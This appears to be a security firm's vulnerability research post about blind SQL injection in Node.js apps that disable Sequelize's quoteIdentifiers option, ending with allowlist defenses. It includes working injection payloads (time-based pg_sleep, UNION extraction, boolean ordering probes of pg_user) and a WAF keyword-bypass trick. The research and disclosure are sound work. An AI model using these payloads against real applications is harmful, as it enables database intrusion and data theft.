← All insights
Vulnerability Research

Is the SQL Injection Optional?

Introduction

SQL injection remains one of the sharpest threats to web applications. This is a walkthrough of a blind SQL injection vulnerability in a Node.js application, caused by one insecure configuration option in Sequelize, a popular Object-Relational Mapping library. Sequelize’s documentation warns about the security implications of that option, but the warning never spells out the actual risk.

Baseline

To isolate the vulnerability, the analysis uses a simple Node.js application with three endpoints:

  1. A root endpoint providing JSON listings of Sequelize Models
  2. A dynamic REST API for retrieving records by model name
  3. An endpoint allowing user-controlled selection of model attributes, paging, and sorting

Sequelize quoteIdentifiers Option

The quoteIdentifiers option controls whether Sequelize wraps database identifiers in quotes. Disabling it is sometimes necessary when advanced features conflict with Sequelize’s query generation. The documentation’s warning about disabling it says nothing specific about the vulnerability vectors it opens.

The filter Endpoint

The application’s controller accepts POST requests, validates input, and passes filtering options to Sequelize’s findAll() function. The endpoint accepts attributes, sorting parameters, and limit values directly from user input.

Attack Examples

Behavior Enumeration with quoteIdentifiers Enabled (Default)

When quoteIdentifiers is enabled, test payloads demonstrate that:

  • Double quotes in payloads are removed rather than escaped
  • Single quotes are properly escaped by doubling them
  • String injection results in empty objects rather than data leakage

The use of Sequelize’s col() function to wrap parameters adds additional quoting that further protects against injection.

Exploitation with quoteIdentifiers Disabled

When quoteIdentifiers is disabled, multiple exploitation vectors emerge:

Basic Injection:

Payload: {"attributes":["categoryname, current_user"]}
Result: SELECT categoryname, current_user FROM categories AS categories;

This demonstrates direct SQL injection where user input becomes part of the query.

String Literal Injection:

Payload: {"attributes":["categoryname, 'string'"]}
Result: SELECT categoryname, 'string' FROM categories AS categories;

Time-Based Blind SQL Injection:

Payload: {"attributes":["1, (SELECT pg_sleep(5))"]}
Result: SELECT 1, (SELECT pg_sleep(5)) FROM categories AS categories;

The payload executes as a subquery, creating observable delays without direct data return.

UNION-Based Data Exfiltration:

Payload: {"attributes":["null AS asdf UNION SELECT current_user –", "asdf"]}
Result: SELECT null AS asdf UNION SELECT current_user –, asdf FROM categories;
Returns: {"asdf":"pguser"}

This bypasses blind exploitation by requesting an invalid column name that coincides with the injection payload’s output.

Advanced Exploitation Using col()

The col() function, even with quoteIdentifiers disabled, still applies quoting but removes double quotes from input rather than escaping them.

Function-Based Ordering:

Payload: {"sort":"substr(categoryname, 2, 1)"}
Result: SELECT category, categoryname FROM categories AS categories 
         ORDER BY substr(categoryname, 2, 1);

Results are observably reordered based on the function output, providing an information channel.

Boolean-Based Conditional Ordering:

Payload: {"sort":"substr(categoryname, CASE WHEN EXISTS(SELECT 1) 
         THEN 2 ELSE 1 END, 1)"}

This uses a CASE statement to change sorting behavior based on whether a subquery returns results, creating a boolean detection mechanism.

Practical Data Extraction:

Payload: {"sort":"substr(categoryname, CASE WHEN EXISTS(SELECT 1 FROM pg_user 
         WHERE usename like 'pg%') THEN 2 ELSE 1 END, 1)"}

When the condition is true (user starting with “pg” exists), records sort by the second character. When false, they sort by the first character. This difference is observable without direct query output.

WAF Bypass Technique

The col() function’s character removal behavior can bypass Web Application Firewalls. By inserting double quotes into payloads, attackers can obfuscate blocked keywords:

Payload: {"sort":"sub\"str(categoryname, CA\"SE W\"HE\"N E\"XI\"ST\"S(SE\"LE\"CT 1..."}
Processing: Double quotes are removed, reconstructing valid SQL
Result: Bypasses keyword-based blocking while maintaining functionality

Defense Recommendations

Input sanitization should never rely on the ORM library alone. Recommended defenses:

  • Creating allowlists of acceptable column names using the model’s getAttributes() function
  • Comparing user-supplied values against the allowlist before processing
  • Validating model names similarly using Sequelize.models and Object.keys()
  • Preferring allowlists over blocklists for input validation

Key Takeaways

Disabling quoteIdentifiers strips away nearly every observable defense Sequelize provides. This option governs fundamental security protections, not a formatting preference, and developers should treat it that way. The col() function is useful for advanced query construction, but any exposure of it to user-controlled input needs careful thought.

More in Vulnerability Research
Pip Dreams and Security Schemes, Part II: The Interpreter in the MachineJun 4, 2026 · 11 minRotten Apples Returns — macOS Codesigning Translocation RevisitedMay 7, 2026 · 5 minPip Dreams and Security Schemes: Chaos in your Configuration FilesSep 18, 2024 · 1 min
Talk to an expert